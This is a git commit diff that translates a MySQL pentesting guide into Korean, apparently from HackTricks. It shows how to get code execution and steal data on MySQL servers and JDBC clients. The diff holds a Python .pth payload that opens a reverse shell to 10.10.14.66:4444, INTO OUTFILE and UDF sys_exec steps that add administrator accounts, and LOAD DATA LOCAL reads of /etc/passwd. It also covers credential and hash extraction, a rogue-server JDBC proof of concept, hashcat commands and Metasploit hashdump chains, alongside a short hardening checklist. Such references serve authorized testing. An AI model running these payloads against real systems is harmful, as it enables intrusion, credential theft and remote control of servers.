Translated ['src/network-services-pentesting/pentesting-mysql.md'] to ko

This commit is contained in:
Translator 2025-08-14 04:40:08 +00:00
parent dfe6a59800
commit 7d6d7a7447

View File

@ -114,10 +114,10 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do
고전적인 `INTO OUTFILE` 프리미티브를 악용하여 나중에 **Python** 스크립트를 실행하는 대상에서 *임의 코드 실행*을 얻을 수 있습니다.
1. `INTO OUTFILE`을 사용하여 `site.py`에 의해 자동으로 로드되는 임의의 디렉토리(예: `.../lib/python3.10/site-packages/`)에 사용자 정의 **`.pth`** 파일을 드롭합니다.
2. `.pth` 파일은 `import `로 시작하는 *단일 행*을 포함할 수 있으며, 그 뒤에 임의의 Python 코드가 이어져 인터프리터가 시작될 때마다 실행됩니다.
3. 인터프리터가 CGI 스크립트에 의해 암묵적으로 실행될 때(예: `/cgi-bin/ml-draw.py`와 shebang `#!/bin/python`) 페이로드는 웹 서버 프로세스와 동일한 권한으로 실행됩니다 (FortiWeb이 **root**로 실행 → 전체 사전 인증 RCE).
2. `.pth` 파일은 `import `로 시작하는 *단일 행*을 포함할 수 있으며, 그 뒤에 실행될 임의의 Python 코드가 옵니다.
3. 인터프리터가 CGI 스크립트에 의해 암묵적으로 실행될 때(예: `/cgi-bin/ml-draw.py`에서 shebang `#!/bin/python` 사용) 페이로드는 웹 서버 프로세스와 동일한 권한으로 실행됩니다 (FortiWeb이 **root**로 실행 → 전체 사전 인증 RCE).
`.pth` 페이로드 (단일 행, 최종 SQL 페이로드에 공백을 포함할 수 없으므로 hex/`UNHEX()` 또는 문자열 연결이 필요할 수 있음):
`.pth` 페이로드 (단일 행, 최종 SQL 페이로드에 공백을 포함할 수 없으므로 hex/`UNHEX()` 또는 문자열 연결이 필요할 수 있음):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
@ -128,9 +128,9 @@ import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10
중요한 제한 사항 및 우회 방법:
* `INTO OUTFILE` **기존 파일을 덮어쓸 수 없습니다**; 새 파일 이름을 선택하세요.
* 파일 경로는 **MySQL의 CWD에 상대적으로 해결**되므로 `../../`로 접두사를 붙이면 경로를 단축하고 절대 경로 제한을 우회할 수 있습니다.
* 파일 경로는 **MySQL의 CWD에 상대적으로** 해결되므로 `../../`로 접두사를 붙이면 경로를 단축하고 절대 경로 제한을 우회할 수 있습니다.
* 공격자 입력이 `%128s` (또는 유사한)로 추출되면 공백이 페이로드를 잘라냅니다; MySQL 주석 시퀀스 `/**/` 또는 `/*!*/`를 사용하여 공백을 대체하세요.
* 쿼리를 실행하는 MySQL 사용자는 `FILE` 권한이 필요하지만, 많은 장(예: FortiWeb)에서 서비스가 **root**로 실행되어 거의 모든 곳에 쓰기 접근을 제공합니다.
* 쿼리를 실행하는 MySQL 사용자는 `FILE` 권한이 필요하지만, 많은 장(예: FortiWeb)에서 서비스가 **root**로 실행되어 거의 모든 곳에 쓰기 접근을 제공합니다.
`.pth`를 삭제한 후, 코드 실행을 얻기 위해 파이썬 인터프리터가 처리하는 CGI를 요청하세요:
```
@ -146,9 +146,9 @@ uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL 클라이언트를 통한 임의 파일 읽기
## MySQL 임의 파일 읽기 클라이언트에 의한
실제로, **테이블에 로컬 데이터를 로드하려고 할 때** MySQL 또는 MariaDB 서버는 **클라이언트에게 파일을 읽고** 내용을 전송하도록 요청합니다. **따라서, 자신의 MySQL 서버에 연결하도록 MySQL 클라이언트를 조작할 수 있다면, 임의의 파일을 읽을 수 있습니다.**\
실제로, **테이블에 로컬 데이터를 로드하려고 할 때** MySQL 또는 MariaDB 서버는 **클라이언트에게 파일의 내용을 읽고** 전송하도록 요청합니다. **그런 다음, 자신의 MySQL 서버에 연결하도록 mysql 클라이언트를 조작할 수 있다면, 임의의 파일을 읽을 수 있습니다.**\
이것은 다음을 사용할 때의 동작입니다:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -184,9 +184,9 @@ MySQL 서비스의 구성에서 다양한 설정이 사용되어 운영 및 보
- **`user`** 설정은 MySQL 서비스가 실행될 사용자 지정에 사용됩니다.
- **`password`**는 MySQL 사용자와 관련된 비밀번호를 설정하는 데 사용됩니다.
- **`admin_address`**는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다.
- **`debug`** 변수는 로그 내의 민감한 정보를 포함하여 현재 디버깅 구성을 나타냅니다.
- **`debug`** 변수는 현재 디버깅 구성의 지표로, 로그 내에 민감한 정보를 포함합니다.
- **`sql_warnings`**는 경고가 발생할 때 단일 행 INSERT 문에 대한 정보 문자열이 생성되는지 관리하며, 로그 내에 민감한 데이터를 포함합니다.
- **`secure_file_priv`**는 보안을 강화하기 위해 데이터 가져오기 및 내보내기 작업의 범위를 제한합니다.
- **`secure_file_priv`**는 데이터 가져오기 및 내보내기 작업의 범위를 제한하여 보안을 강화합니다.
### 권한 상승
```bash
@ -210,7 +210,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
만약 **mysql 서버가 root** (또는 더 높은 권한을 가진 다른 사용자)로 실행되고 있다면, 명령을 실행하도록 만들 수 있습니다. 이를 위해서는 **사용자 정의 함수**를 사용해야 합니다. 사용자 정의 함수를 만들기 위해서는 mysql이 실행되고 있는 OS에 대한 **라이브러리**가 필요합니다.
사용할 악성 라이브러리는 sqlmap과 metasploit 내에서 **`locate "*lib_mysqludf_sys*"`** 명령어를 통해 찾을 수 있습니다. **`.so`** 파일은 **linux** 라이브러리이고 **`.dll`** 파일은 **Windows** 라이브러리입니다. 필요한 것을 선택하세요.
사용할 악성 라이브러리는 sqlmap과 metasploit 내에서 **`locate "*lib_mysqludf_sys*"`** 명령어를 통해 찾을 수 있습니다. **`.so`** 파일은 **linux** 라이브러리이고, **`.dll`** 파일은 **Windows** 라이브러리입니다. 필요한 것을 선택하세요.
만약 **그 라이브러리들이 없다면**, **찾아보거나**, 이 [**linux C 코드**](https://www.exploit-db.com/exploits/1518)를 다운로드하여 **linux 취약한 머신 내에서 컴파일**할 수 있습니다:
```bash
@ -253,13 +253,13 @@ SELECT sys_exec("net localgroup Administrators npn /add");
```
### MySQL 자격 증명 파일에서 추출하기
_/etc/mysql/debian.cnf_ 안에는 사용자 **debian-sys-maint**의 **평문 비밀번호**가 있습니다.
_/etc/mysql/debian.cnf_ 안에는 사용자 **debian-sys-maint**의 **일반 텍스트 비밀번호**가 있습니다.
```bash
cat /etc/mysql/debian.cnf
```
당신은 **이 자격 증명을 사용하여 MySQL 데이터베이스에 로그인할 수 있습니다**.
파일 _/var/lib/mysql/mysql/user.MYD_ 안에는 **MySQL 사용자들의 모든 해시**가 있습니다 (데이터베이스 내의 mysql.user에서 추출할 수 있는 것들입니다) _.
파일 _/var/lib/mysql/mysql/user.MYD_ 안에는 **MySQL 사용자들의 모든 해시**가 있습니다 (데이터베이스 내의 mysql.user에서 추출할 수 있는 해시들) _.
다음과 같이 추출할 수 있습니다:
```bash
@ -267,7 +267,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
```
### 로깅 활성화
다음 줄의 주석을 제거하여 `/etc/mysql/my.cnf`에서 mysql 쿼리의 로깅을 활성화할 수 있습니다:
`/etc/mysql/my.cnf`에서 다음 줄의 주석을 제거하여 mysql 쿼리의 로깅을 활성화할 수 있습니다:
![](<../images/image (899).png>)
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
## 2023-2025 하이라이트 (신규)
### JDBC `propertiesTransform` 역직렬화 (CVE-2023-21971)
Connector/J <= 8.0.32에서 **JDBC URL**에 영향을 줄 수 있는 공격자는 (예를 들어 연결 문자열을 요청하는 서드파티 소프트웨어에서) `propertiesTransform` 매개변수를 통해 *클라이언트* 측에서 임의의 클래스를 로드하도록 요청할 수 있습니다. 클래스 경로에 존재하는 가젯이 로드 가능하면 이는 **JDBC 클라이언트의 컨텍스트에서 원격 코드 실행**을 초래합니다 (유효한 자격 증명이 필요하지 않기 때문에 사전 인증). 최소한의 PoC는 다음과 같습니다:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
`Evil.class`를 실행하는 것은 취약한 애플리케이션의 클래스 경로에 생성하거나 악의적인 직렬화 객체를 보내는 악성 MySQL 서버를 허용하는 것만큼 간단할 수 있습니다. 이 문제는 Connector/J 8.0.33에서 수정되었습니다 드라이버를 업그레이드하거나 `propertiesTransform`을 허용 목록에 명시적으로 설정하십시오.
(자세한 내용은 Snyk 작성물을 참조하십시오)
### JDBC 클라이언트를 대상으로 한 악성 / 가짜 MySQL 서버 공격
여러 오픈 소스 도구가 JDBC 클라이언트를 공격하기 위해 *부분적인* MySQL 프로토콜을 구현합니다:
* **mysql-fake-server** (Java, 파일 읽기 및 역직렬화 취약점 지원)
* **rogue_mysql_server** (Python, 유사한 기능)
전형적인 공격 경로:
1. 피해 애플리케이션이 `allowLoadLocalInfile=true` 또는 `autoDeserialize=true``mysql-connector-j`를 로드합니다.
2. 공격자가 DNS / 호스트 항목을 제어하여 DB의 호스트 이름이 그들의 제어 하에 있는 머신으로 해결되도록 합니다.
3. 악성 서버가 `LOCAL INFILE` 임의 파일 읽기 또는 Java 역직렬화를 유발하는 조작된 패킷으로 응답하여 → RCE를 발생시킵니다.
가짜 서버를 시작하는 예제 원라이너 (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
그런 다음 피해자 애플리케이션을 `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true`로 지정하고 *username* 필드에 파일 이름을 base64로 인코딩하여 `/etc/passwd`를 읽습니다 (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### `caching_sha2_password` 해시 크래킹
MySQL ≥ 8.0은 비밀번호 해시를 **`$mysql-sha2$`** (SHA-256)로 저장합니다. Hashcat (모드 **21100**)과 John-the-Ripper (`--format=mysql-sha2`)는 2023년부터 오프라인 크래킹을 지원합니다. `authentication_string` 열을 덤프하고 직접 입력합니다:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### 하드닝 체크리스트 (2025)
**`LOCAL_INFILE=0`** 및 **`--secure-file-priv=/var/empty`**를 설정하여 대부분의 파일 읽기/쓰기 원시 작업을 차단합니다.
• 애플리케이션 계정에서 **`FILE`** 권한을 제거합니다.
• Connector/J에서 `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (빈 값)을 설정합니다.
• 사용하지 않는 인증 플러그인을 비활성화하고 **TLS 요구** (`require_secure_transport = ON`)합니다.
`CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` 및 갑작스러운 `SET GLOBAL` 문을 모니터링합니다.
---
## 참조
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}